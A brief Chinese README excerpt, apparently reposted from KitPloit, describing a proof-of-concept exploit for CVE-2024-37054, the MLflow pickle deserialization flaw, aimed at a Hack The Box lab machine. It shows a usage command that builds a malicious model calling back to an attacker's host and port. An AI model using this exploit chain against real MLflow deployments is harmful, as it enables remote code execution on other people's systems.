CVE-2024-37054-PoC

描述 CVE-2024-37054 的概念验证（PoC），这是 MLflow 0.9.0 至 2.14.1 版本中的一个严重反序列化漏洞。 当通过 mlflow.pyfunc.loadmodel 加载恶意 pyfunc 模型时，pickle 载荷会执行任意代码。 文件 exploit.py — 完整利用：注册、训练、上传、触发（适用于 HTB SmartHire 靶机） buildmodel.py — 在本地构建恶意模型（仅构建） 使用方法 在本地构建模型 root@kitploit: python3 buildmodel.py --lhost YOURIP --lport 4444...